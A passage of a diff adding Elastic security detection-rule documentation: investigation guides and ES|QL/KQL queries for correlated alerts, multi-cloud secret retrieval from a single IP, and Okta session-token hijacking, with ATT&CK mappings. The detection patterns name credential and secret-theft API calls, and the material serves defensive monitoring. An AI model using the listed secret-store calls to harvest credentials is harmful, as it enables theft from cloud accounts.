({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Multiple Alerts Involving a User* + + +In security environments, monitoring user activity is crucial as adversaries often exploit user accounts to gain unauthorized access. Attackers may trigger multiple alerts by performing suspicious actions under a compromised user account. The detection rule identifies such patterns by correlating diverse alerts linked to the same user, excluding known system accounts, thus prioritizing potential threats for analysts. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific user account involved, focusing on the user.name field to gather initial context about the user. +- Examine the timeline and sequence of the triggered alerts to understand the pattern of activity associated with the user, noting any unusual or unexpected actions. +- Cross-reference the user activity with known legitimate activities or scheduled tasks to rule out false positives, ensuring that the actions are not part of normal operations. +- Investigate the source and destination IP addresses associated with the alerts to identify any suspicious or unauthorized access points. +- Check for any recent changes in user permissions or group memberships that could indicate privilege escalation attempts. +- Look into any recent login attempts or authentication failures for the user account to detect potential brute force or credential stuffing attacks. +- Collaborate with the user or their manager to verify if the activities were authorized or if the account might be compromised. + + +*False positive analysis* + + +- Alerts triggered by automated system processes or scripts that mimic user behavior can be false positives. To manage these, identify and exclude known benign scripts or processes from the rule. +- Frequent alerts from users in roles that inherently require access to multiple systems or sensitive data, such as IT administrators, may not indicate compromise. Implement role-based exceptions to reduce noise. +- Alerts generated by legitimate software updates or maintenance activities can be mistaken for suspicious behavior. Schedule these activities during known maintenance windows and exclude them from the rule during these times. +- Users involved in testing or development environments may trigger multiple alerts due to their work nature. Create exceptions for these environments to prevent unnecessary alerts. +- High-volume users, such as those in customer support or sales, may naturally generate more alerts. Monitor these users separately and adjust the rule to focus on unusual patterns rather than volume alone. + + +*Response and remediation* + + +- Isolate the affected user account immediately to prevent further unauthorized access. Disable the account or change the password to stop any ongoing malicious activity. +- Conduct a thorough review of the affected user's recent activities and access logs to identify any unauthorized actions or data access. This will help in understanding the scope of the compromise. +- Remove any malicious software or unauthorized tools that may have been installed on the user's system. Use endpoint detection and response (EDR) tools to scan and clean the system. +- Restore any altered or deleted data from backups, ensuring that the restored data is free from any malicious modifications. +- Notify relevant stakeholders, including IT security teams and management, about the incident and the steps being taken to address it. This ensures that everyone is aware and can provide support if needed. +- Implement additional monitoring on the affected user account and related systems to detect any further suspicious activities. This includes setting up alerts for unusual login attempts or data access patterns. +- Review and update access controls and permissions for the affected user and similar accounts to prevent future incidents. Ensure that least privilege principles are applied. + +==== Rule query + + +[source, js] +---------------------------------- +from .alerts-security.* +| where kibana.alert.rule.name is not null and user.id is not null and + // Exclude low severity alerts + kibana.alert.risk_score > 21 and + not KQL("""kibana.alert.rule.tags : "Rule Type: Higher-Order Rule" """) +| stats + Esql.rule_name_distinct_count = COUNT_DISTINCT(kibana.alert.rule.name), + Esql.rule_id_distinct_count = COUNT_DISTINCT(kibana.alert.rule.rule_id), + Esql.host_id_distinct_count = COUNT_DISTINCT(host.id), + Esql.risk_score_distinct_count = COUNT_DISTINCT(kibana.alert.risk_score), + Esql.data_stream_dataset_distinct_count = COUNT_DISTINCT(data_stream.dataset), + Esql.rule_name_values = VALUES(kibana.alert.rule.name), + Esql.risk_score_values = VALUES(kibana.alert.risk_score), + Esql.data_stream_dataset_values = VALUES(data_stream.dataset), + Esql.event_module_values = VALUES(event.module), + Esql.process_command_line = VALUES(process.command_line), + Esql.host_id_values = VALUES(host.id), + Esql.source_ip_values = VALUES(source.ip), + Esql.destination_ip_values = VALUES(destination.ip) by user.id + +| where Esql.rule_name_distinct_count >= 4 AND Esql.rule_id_distinct_count >= 2 and + // Exclude known system accounts with matches in more than one host + not ( + (length(TO_STRING(user.id)) <= 4 or user.id IN ("S-1-5-18", "S-1-5-19", "S-1-5-20", "0")) and + (Esql.host_id_distinct_count >= 2 or Esql.host_id_distinct_count == 0) + ) + +| keep user.id, Esql.* + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-cloud-secrets-accessed-by-source-address.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-cloud-secrets-accessed-by-source-address.asciidoc new file mode 100644 index 0000000000..03f37b8d01 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-cloud-secrets-accessed-by-source-address.asciidoc @@ -0,0 +1,226 @@ +[[prebuilt-rule-8-19-21-multiple-cloud-secrets-accessed-by-source-address]] +=== Multiple Cloud Secrets Accessed by Source Address + +This rule detects authenticated sessions accessing secret stores across multiple environments from the same source address within a short period of time, including cloud providers (AWS, GCP, Azure) and Kubernetes clusters. Adversaries with access to compromised credentials or session tokens may attempt to retrieve secrets from services such as AWS Secrets Manager, Google Secret Manager, Azure Key Vault, or Kubernetes Secrets in rapid succession to expand their access or exfiltrate sensitive information. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html +* https://docs.cloud.google.com/secret-manager/docs/samples/secretmanager-access-secret-version +* https://learn.microsoft.com/en-us/azure/key-vault/secrets/about-secrets +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack + +*Tags*: + +* Domain: Cloud +* Domain: IAM +* Domain: Storage +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Secrets Manager +* Data Source: Azure +* Data Source: Azure Activity Logs +* Data Source: GCP +* Data Source: Google Cloud Platform +* Data Source: Kubernetes +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Multiple Cloud Secrets Accessed by Source Address* + + +This alert identifies a single source IP address accessing secret-management APIs across **multiple cloud providers** +(e.g., AWS Secrets Manager, Google Secret Manager, Azure Key Vault) within a short timeframe. +This behavior is strongly associated with **credential theft, session hijacking, or token replay**, where an adversary +uses stolen authenticated sessions to harvest secrets across cloud environments. + +Unexpected cross-cloud secret retrieval is uncommon and typically indicates automation misuse or malicious activity. + + +*Possible investigation steps* + + +- Validate the principal + - Identify the user, service account, workload identity, or application making the requests. + - Confirm whether this identity is expected to operate across more than one cloud provider. +- Review related activity + - Look for additional alerts involving the same identity, source IP, or token over the last 24–48 hours. + - Identify whether the source IP has been observed performing unusual authentication, privilege escalation, + or reconnaissance. +- Check application or service context + - Determine whether any workload legitimately pulls secrets from multiple cloud providers. + - Review deployment pipelines or integration layers that might legitimately bridge AWS, Azure, and GCP. +- Analyze user agent and invocation patterns + - Compare `user_agent.original` or equivalent fields against expected SDKs or automation tools. + - Suspicious indicators include CLI tools, unknown libraries, browser user agents, or custom scripts. +- Inspect IP reputation and origin + - Determine whether the source IP corresponds to a managed workload (EC2, GCE, Azure VM) or an unexpected host. + - Validate that the associated instance or host is under your control and behaving normally. +- Review IAM permissions and accessed secrets + - Check the policies attached to the identity. + - Verify whether the accessed secrets are sensitive, unused, or unrelated to the identity’s purpose. +- Assess potential compromise scope + - If compromise is suspected, enumerate other assets accessed by the same identity in the last 24 hours. + - Look for lateral movement, privilege escalation, or abnormal API usage. +- Review Kubernetes activity + - Identify the Kubernetes user, service account, or workload performing the secret access. + - Determine whether the access originated from a pod, node, or external client. + - Validate whether the identity is expected to access secrets in the affected namespaces. + - Investigate whether the activity corresponds to application behavior or manual/API access. + + +*False positive analysis* + + +- Validate whether the source IP is associated with a legitimate multi-cloud orchestration tool, automation pipeline, + or shared CI/CD system. +- Confirm that the identity is authorized to access secrets across multiple cloud services. +- If activity is expected, consider adding exceptions that pair account identity, source IP, and expected user agent + to reduce noise. +- Determine whether the source IP is associated with Kubernetes nodes, controllers, or internal workloads + that legitimately retrieve secrets alongside cloud provider integrations. + + +*Response and remediation* + + +- Initiate incident response** if the activity is unauthorized or suspicious. +- Restrict or disable** the affected credentials or service accounts. +- Rotate all accessed secrets** and review other secrets the identity can access. +- Analyze systems** that may have leaked credentials, such as compromised hosts or exposed tokens. +- Harden identity security: + - Enforce MFA for users where applicable. + - Reduce permissions to least privilege. + - Review trust relationships, workload identities, and cross-cloud integrations. +- Search for persistence mechanisms** such as newly created keys, roles, or service accounts. +- If Kubernetes access is involved: + - Rotate Kubernetes secrets and service account tokens. + - Review RBAC permissions and restrict secret access to least privilege. + - Inspect affected pods or nodes for compromise. +- Improve monitoring and audit visibility** by ensuring logging is enabled across all cloud environments. +- Determine root cause** (phishing, malware, token replay, exposed credential, etc.) and close the vector to prevent recurrence. + + +==== Setup + + +This multi-datasource rule relies on additional configurations from each hyperscaler. + +- GCP Audit: https://docs.cloud.google.com/logging/docs/audit/configure-data-access[Enable DATA_READ for the Secret Manager API service] +- Azure: https://learn.microsoft.com/en-us/azure/key-vault/general/howto-logging?tabs=azure-cli[Enable Diagnostic Logging for the Key Vault Service] +- AWS: Secrets Manager read access is automatically logged by CloudTrail. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-azure.platformlogs-*, logs-aws.cloudtrail-*, logs-gcp.audit-*, logs-kubernetes.audit_logs-* METADATA _id, _version, _index +| WHERE + ( + /* AWS Secrets Manager */ + (data_stream.dataset == "aws.cloudtrail" AND event.action == "GetSecretValue") OR + + // Azure Key Vault (platform logs) + (data_stream.dataset == "azure.platformlogs" AND event.action IN ("SecretGet", "KeyGet")) or + + /* Google Secret Manager */ + (data_stream.dataset IN ("googlecloud.audit", "gcp.audit") AND + event.action IN ("google.cloud.secretmanager.v1.SecretManagerService.AccessSecretVersion", "google.cloud.secretmanager.v1.SecretManagerService.GetSecretRequest")) OR + + /* Kubernetes Secrets */ + (data_stream.dataset == "kubernetes.audit_logs" AND kubernetes.audit.objectRef.resource == "secrets" AND kubernetes.audit.verb IN ("get", "list")) + + ) AND source.ip IS NOT NULL + +// Cloud vendor label based on dataset +| EVAL Esql.cloud_vendor = CASE( + data_stream.dataset == "aws.cloudtrail", "aws", + data_stream.dataset == "azure.platformlogs", "azure", + data_stream.dataset IN ("googlecloud.audit","gcp.audit"), "gcp", + data_stream.dataset == "kubernetes.audit_logs", "k8s", + "unknown" + ) +// Vendor+tenant label, e.g. aws:123456789012, azure:tenant, gcp:project +| EVAL Esql.tenant_label = CASE( + Esql.cloud_vendor == "aws", CONCAT("aws:", cloud.account.id), + Esql.cloud_vendor == "azure", CONCAT("azure:", cloud.account.id), + Esql.cloud_vendor == "gcp", CONCAT("gcp:", cloud.account.id), + Esql.cloud_vendor == "k8s", CONCAT("k8s:", orchestrator.cluster.name), + "unknown" + ) +| WHERE Esql.cloud_vendor != "unknown" +| STATS + // Core counts + Esql.events_count = COUNT(*), + Esql.vendor_count_distinct = COUNT_DISTINCT(Esql.cloud_vendor), + // Action & data source context + Esql.event_action_values = VALUES(event.action), + Esql.data_source_values = VALUES(data_stream.dataset), + // Cloud vendor + tenant context + Esql.cloud_vendor_values = VALUES(Esql.cloud_vendor), + Esql.tenant_label_values = VALUES(Esql.tenant_label), + // Hyperscaler-specific IDs + Esql.aws_account_id_values = VALUES(CASE(Esql.cloud_vendor == "aws", cloud.account.id, "unknown")), + Esql.azure_tenant_id_values = VALUES(CASE(Esql.cloud_vendor == "azure", cloud.account.id, "unknown")), + Esql.gcp_project_id_values = VALUES(CASE(Esql.cloud_vendor == "gcp", cloud.account.id, "unknown")), + // Generic cloud metadata + Esql.cloud_region_values = VALUES(cloud.region), + Esql.k8s_namespace_values = VALUES(kubernetes.audit.objectRef.namespace), + // Namespace values + Esql.data_stream_namespace_values = VALUES(data_stream.namespace), + Esql_priv.user_name_values = VALUES(user.name) + BY source.ip +// Require multi-vendor cred-access from same source IP +| WHERE Esql.vendor_count_distinct >= 2 +| SORT Esql.events_count DESC +| KEEP Esql.*, Esql_priv.*, source.ip + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Cloud Secrets Management Stores +** ID: T1555.006 +** Reference URL: https://attack.mitre.org/techniques/T1555/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-device-token-hashes-for-single-okta-session.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-device-token-hashes-for-single-okta-session.asciidoc new file mode 100644 index 0000000000..44845f683e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-device-token-hashes-for-single-okta-session.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-21-multiple-device-token-hashes-for-single-okta-session]] +=== Multiple Device Token Hashes for Single Okta Session + +This rule detects when a specific Okta actor has multiple device token hashes and multiple source IPs for a single Okta session. This may indicate an authenticated session has been hijacked or replayed from a different device and network. Adversaries may steal session cookies or tokens to gain unauthorized access to Okta admin console, applications, tenants, or other resources. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://support.okta.com/help/s/article/session-hijacking-attack-definition-damage-defense?language=en_US +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Domain: SaaS +* Data Source: Okta +* Data Source: Okta System Logs +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 311 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Multiple Device Token Hashes for Single Okta Session* + + +This rule detects when a specific Okta actor has multiple device token hashes and multiple source IPs for a single Okta session. This may indicate an authenticated session has been hijacked or replayed from a different device and network. Adversaries may steal session cookies or tokens to gain unauthorized access to Okta admin console, applications, tenants, or other resources. + +> **Note**: This is an ES|QL aggregation-based rule. Exceptions can be added on the original ECS or integration-related fields. We recommend using the indicators from the alert document to pivot into the raw events for analysis. + + +*Possible investigation steps:* + +- Use `okta.actor.alternate_id` and `okta.authentication_context.external_session_id` from the alert to pivot into the raw Okta system log events for the affected session. +- Review the source IPs (`okta.client.ip`) and ASN information (`source.as.organization.name`) to determine if the session was used from multiple distinct networks. + - Multiple ASNs or geolocations (`client.geo.country_name`, `client.geo.city_name`) within the same session strongly suggest session hijacking. +- Compare the `okta.debug_context.debug_data.dt_hash` values to identify the device token hashes associated with the session. + - A legitimate session should have a consistent device token hash. Multiple distinct hashes indicate the session cookie may have been replayed from a different device. +- Examine `okta.client.user_agent.raw_user_agent` and `okta.client.device` for inconsistencies that suggest different devices or browsers using the same session. +- Review `event.action` to understand what actions were performed during the session. + - Look for suspicious post-authentication activity such as admin console access, policy changes, or application assignment modifications. +- Check `okta.debug_context.debug_data.risk_level`, `okta.debug_context.debug_data.risk_reasons`, and `okta.debug_context.debug_data.behaviors` for Okta's own risk assessment of the session activity. +- Review the past activities of the actor(s) involved by checking their previous sessions and login patterns. + + +*False positive analysis:* + +- OAuth application integrations (e.g., backend services exchanging authorization codes for tokens) can generate multiple device token hashes per session due to the multi-step token grant flow. These typically involve `Okta-Integrations` user agents and known infrastructure IPs. +- Users switching between networks (e.g., VPN reconnects, WiFi to cellular transitions) may produce multiple source IPs for the same session, though the device token hash should remain consistent. +- Automated tools or scripts that interact with Okta APIs on behalf of a user may generate additional device token hashes. + + +*Response and remediation:* + +- If the alert shows multiple distinct ASNs or geolocations for the same session, immediately revoke all active sessions for the affected user via the Okta admin console. +- Reset the user's password and all active MFA factors. + - If MFA is not enabled, enforce MFA enrollment before allowing re-authentication. +- Review Okta system logs for any administrative or sensitive actions performed during the suspicious session window. +- If the session was used to access downstream applications, review those application logs for unauthorized activity. +- Check with the user to confirm whether they were actively using Okta during the alert time window. +- For recurring false positives from known integrations, add exceptions on `okta.actor.alternate_id` for the specific service account or application client ID. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-okta.system-* +| where + data_stream.dataset == "okta.system" and + not event.action in ( + "policy.evaluate_sign_on", + "user.session.start", + "user.authentication.sso" + ) and + okta.actor.alternate_id != "system@okta.com" and + okta.actor.alternate_id rlike "[^@\\s]+\\@[^@\\s]+" and + okta.authentication_context.external_session_id != "unknown" and + ( + okta.authentication_context.external_session_id IS NOT NULL and + okta.debug_context.debug_data.dt_hash IS NOT NULL and + okta.client.ip IS NOT NULL and + okta.client.user_agent.raw_user_agent IS NOT NULL + ) and + ( + okta.authentication_context.external_session_id != "-" and + okta.debug_context.debug_data.dt_hash != "-" and + okta.client.user_agent.raw_user_agent != "-" + ) +| stats + Esql.dt_hash_count_distinct = count_distinct(okta.debug_context.debug_data.dt_hash), + Esql.client_ip_count_distinct = count_distinct(okta.client.ip), + Esql.event_count = count(*), + Esql.first_event_time = min(@timestamp), + Esql.last_event_time = max(@timestamp), + Esql.dt_hash_values = values(okta.debug_context.debug_data.dt_hash), + Esql.event_action_values = values(event.action), + Esql.client_ip_values = values(okta.client.ip), + Esql.user_agent_values = values(okta.client.user_agent.raw_user_agent), + Esql.device_values = values(okta.client.device), + Esql.is_proxy_values = values(okta.security_context.is_proxy), + Esql.geo_country_name_values = values(client.geo.country_name), + Esql.geo_city_name_values = values(client.geo.city_name), + Esql.source_asn_number_values = values(source.`as`.number), + Esql.source_asn_org_name_values = values(source.`as`.organization.name), + Esql.threat_suspected_values = values(okta.debug_context.debug_data.threat_suspected), + Esql.risk_level_values = values(okta.debug_context.debug_data.risk_level), + Esql.risk_reasons_values = values(okta.debug_context.debug_data.risk_reasons), + Esql.behaviors_values = values(okta.debug_context.debug_data.behaviors), + Esql.device_fingerprint_values = values(okta.debug_context.debug_data.device_fingerprint), + Esql.risk_behaviors_values = values(okta.debug_context.debug_data.risk_behaviors), + Esql.request_uri_values = values(okta.debug_context.debug_data.request_uri) + by + okta.actor.alternate_id, + okta.authentication_context.external_session_id +| where + Esql.dt_hash_count_distinct >= 4 and + Esql.client_ip_count_distinct >= 2 +| keep Esql.*, okta.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Web Session Cookie +** ID: T1539 +** Reference URL: https://attack.mitre.org/techniques/T1539/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Web Session Cookie +** ID: T1550.004 +** Reference URL: https://attack.mitre.org/techniques/T1550/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-external-edr-alerts-by-host.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-external-edr-alerts-by-host.asciidoc new file mode 100644 index 0000000000..deb8b9dbfe --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-external-edr-alerts-by-host.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-21-multiple-external-edr-alerts-by-host]] +=== Multiple External EDR Alerts by Host + +This rule uses alert data to determine when multiple external EDR alerts involving the same host are triggered. Analysts can use this to prioritize triage and response, as these hosts are more likely to be compromised. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 30m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/elastic/detection-rules/blob/main/rules/promotions/external_alerts.toml + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Domain: Endpoint + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Multiple External EDR Alerts by Host* + + +Endpoint security technologies monitor and analyze activities on devices to detect malicious behavior. Adversaries exploit these systems by deploying malware that triggers specific signatures across multiple hosts, indicating a coordinated attack. The detection rule identifies such threats by analyzing alert data for specific malware signatures across several hosts, flagging potential widespread infections for prioritized investigation. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host involved and the different ATT&CK tactics that triggered the alerts. +- Examine the timeline of the alerts to understand the sequence of events and determine if there is a pattern or progression in the tactics used. +- Correlate the alert data with other logs and telemetry from the host, such as process creation, network connections, and file modifications, to gather additional context. +- Investigate any known vulnerabilities or misconfigurations on the host that could have been exploited by the adversary. +- Check for any indicators of compromise (IOCs) associated with the alerts, such as suspicious IP addresses, domains, or file hashes, and search for these across the network. +- Assess the impact and scope of the potential compromise by determining if other hosts or systems have similar alerts or related activity. + + +*False positive analysis* + + +- Alerts from routine administrative tasks may trigger multiple tactics. Review and exclude known benign activities such as scheduled software updates or system maintenance. +- Security tools running on the host might generate alerts across different tactics. Identify and exclude alerts from trusted security applications to reduce noise. +- Automated scripts or batch processes can mimic adversarial behavior. Analyze and whitelist these processes if they are verified as non-threatening. +- Frequent alerts from development or testing environments can be misleading. Consider excluding these environments from the rule or applying a different risk score. +- User behavior anomalies, such as accessing multiple systems or applications, might trigger alerts. Implement user behavior baselines to differentiate between normal and suspicious activities. + + +*Response and remediation* + + +- Isolate the affected host from the network immediately to prevent further lateral movement by the adversary. +- Conduct a thorough forensic analysis of the host to identify the specific vulnerabilities exploited and gather evidence of the attack phases involved. +- Remove any identified malicious software or unauthorized access tools from the host, ensuring all persistence mechanisms are eradicated. +- Apply security patches and updates to the host to address any exploited vulnerabilities and prevent similar attacks. +- Restore the host from a known good backup if necessary, ensuring that the backup is free from compromise. +- Monitor the host and network for any signs of re-infection or further suspicious activity, using enhanced logging and alerting based on the identified attack patterns. +- Escalate the incident to the appropriate internal or external cybersecurity teams for further investigation and potential legal action if the attack is part of a larger campaign. + +==== Rule query + + +[source, js] +---------------------------------- +from .alerts-security.* +| WHERE data_stream.dataset in ("crowdstrike.alert", "crowdstrike.falcon", "sentinel_one.alert", "sentinel_one.threat", "m365_defender.alert") and + host.id is not null and kibana.alert.risk_score > 21 and + not (event.module == "crowdstrike" and (kibana.alert.rule.name like "* at *" or kibana.alert.rule.name like "* on *" or kibana.alert.rule.name == "EICARTestFileWrittenWin")) and + not KQL("""kibana.alert.rule.tags : "Rule Type: Higher-Order Rule" """) +| stats Esql.alerts_count = COUNT(*), + Esql.rule_risk_score_distinct_count = COUNT_DISTINCT(kibana.alert.risk_score), + Esql.unique_rules_count = COUNT_DISTINCT(kibana.alert.rule.name), + Esql.processes_count = COUNT_DISTINCT(process.executable), + Esql.files_count = COUNT_DISTINCT(file.path), + Esql.process_cmdline_count = COUNT_DISTINCT(process.command_line), + Esql.rule_risk_score_values = VALUES(kibana.alert.risk_score), + Esql.process_path_values = VALUES(process.executable), + Esql.file_path_values = VALUES(file.path), + Esql.user_name_values = VALUES(user.name), + Esql.process_command_line_values = VALUES(process.command_line), + Esql.process_parent_command_line_values = VALUES(process.parent.command_line), + Esql.rule_name_values = VALUES(kibana.alert.rule.name) by host.id, host.name, event.module +| where ( + // 3+ unique rules or processes + ( + Esql.unique_rules_count >= 3 or + (Esql.processes_count >= 3 and Esql.rule_name_values == "External Alerts") + ) and + // and 2+ rules of different severity, or 1 high/critical severity rule + ( + Esql.rule_risk_score_distinct_count >= 2 or + Esql.rule_risk_score_values == 73 or + Esql.rule_risk_score_values == 99 + ) +) or + // or 5+ unique rules from the same host for 1+ path/command_line/process + (Esql.unique_rules_count >= 5 and Esql.alerts_count <= 50 and + (Esql.files_count >= 1 or Esql.process_cmdline_count >= 1 or Esql.processes_count >= 1) +) +| KEEP event.module, host.id, host.name, Esql.* + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-okta-sessions-detected-for-a-single-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-okta-sessions-detected-for-a-single-user.asciidoc new file mode 100644 index 0000000000..3dcfbe090d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-multiple-okta-sessions-detected-for-a-single-user.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-21-multiple-okta-sessions-detected-for-a-single-user]] +=== Multiple Okta Sessions Detected for a Single User + +Detects when a user has started multiple Okta sessions with the same user account and different session IDs. This may indicate that an attacker has stolen the user's session cookie and is using it to access the user's account from a different location. + +*Rule type*: threshold + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 30m + +*Searches indices from*: now-35m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Lateral Movement +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Multiple Okta Sessions Detected for a Single User* + + +Okta is a widely used identity management service that facilitates secure user authentication and access control. Adversaries may exploit Okta by hijacking session cookies, allowing unauthorized access to user accounts from different locations. The detection rule identifies anomalies by flagging multiple session initiations with distinct session IDs for the same user, excluding legitimate Okta system actors, thus highlighting potential unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the Okta logs to identify the specific user account associated with the multiple session initiations and note the distinct session IDs. +- Check the geographic locations and IP addresses associated with each session initiation to determine if there are any unusual or unexpected locations. +- Investigate the timestamps of the session initiations to see if they align with the user's typical login patterns or if they suggest simultaneous logins from different locations. +- Examine the okta.actor.id and okta.actor.display_name fields to ensure that the sessions were not initiated by legitimate Okta system actors. +- Contact the user to verify if they recognize the session activity and if they have recently logged in from multiple devices or locations. +- Assess if there are any other related security alerts or incidents involving the same user account that could indicate a broader compromise. + + +*False positive analysis* + + +- Legitimate multiple device usage: Users may legitimately access their accounts from multiple devices, leading to multiple session initiations. To handle this, create exceptions for users who frequently use multiple devices for work. +- Frequent travel or remote work: Users who travel often or work remotely may trigger this rule due to accessing Okta from various locations. Consider setting up location-based exceptions for these users. +- Shared accounts: In environments where account sharing is common, multiple sessions may be expected. Implement policies to discourage account sharing or create exceptions for known shared accounts. +- Automated scripts or integrations: Some users may have automated processes that initiate multiple sessions. Identify these scripts and exclude them from the rule by their specific session patterns. +- Testing and development environments: Users involved in testing or development may generate multiple sessions as part of their work. Exclude these environments from the rule to prevent false positives. + + +*Response and remediation* + + +- Immediately terminate all active sessions for the affected user account to prevent further unauthorized access. +- Reset the user's password and invalidate any existing session cookies to ensure that any stolen session cookies are rendered useless. +- Conduct a thorough review of recent login activity and session logs for the affected user to identify any suspicious or unauthorized access patterns. +- Notify the user of the potential compromise and advise them to verify any recent account activity for unauthorized actions. +- Escalate the incident to the security operations team for further investigation and to determine if additional accounts or systems may be affected. +- Implement multi-factor authentication (MFA) for the affected user account if not already in place, to add an additional layer of security against unauthorized access. +- Update and enhance monitoring rules to detect similar anomalies in the future, focusing on unusual session patterns and access from unexpected locations. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system + and okta.event_type:user.session.start + and okta.authentication_context.external_session_id:* + and not (okta.actor.id: okta* or okta.actor.display_name: okta*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Web Session Cookie +** ID: 